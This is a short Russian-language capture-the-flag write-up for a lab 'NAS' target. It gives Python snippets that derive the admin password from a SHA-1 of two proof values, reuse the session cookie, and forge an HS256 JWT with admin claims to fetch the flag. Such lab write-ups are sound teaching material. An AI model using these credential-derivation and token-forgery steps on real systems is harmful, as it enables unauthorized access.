# Writeup для NAS (русская версия)

## Цель
  Зайти в хранилище

## 1 Задание Посчитать пароль админа и войти
Пароль админа — первые 12 символов:
```
sha1(KETTLE_PROOF + ":" + PRINTER_PROOF) находим из исходников репозитория 
Входим

```

Пример:
```python
import hashlib

admin_pass = hashlib.sha1(f"{KETTLE_PROOF}:{PRINTER_PROOF}".encode()).hexdigest()[:12]
print(admin_pass)
```

Логин: `/login` с:
```
username=admin
password=<admin_pass>
```
Сохраните cookie `sid` из ответа.
Получаем доступ к файлу .wav 
Дальше решение из папки Stegano.








## 2 задание  Сковать bearer JWT и забрать финальный флаг
`/admin/flag` требует:
- cookie `sid` (админская сессия)
- `Authorization: Bearer <jwt>`

Ограничения на payload:
- `role: "admin"`
- `kpf: <KETTLE_PROOF>`
- `aud: "nas-admin"`
- `iat`: текущее UNIX‑время (допуск примерно ±120 сек)

Пример:
```python
import time, jwt

payload = {
  "role": "admin",
  "kpf": KETTLE_PROOF,
  "aud": "nas-admin",
  "iat": int(time.time()),
}
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
print(token)
```

Запрос:
```
GET /admin/flag
Cookie: sid=<sid>
Authorization: Bearer <token>
```

В ответе — финальный флаг.
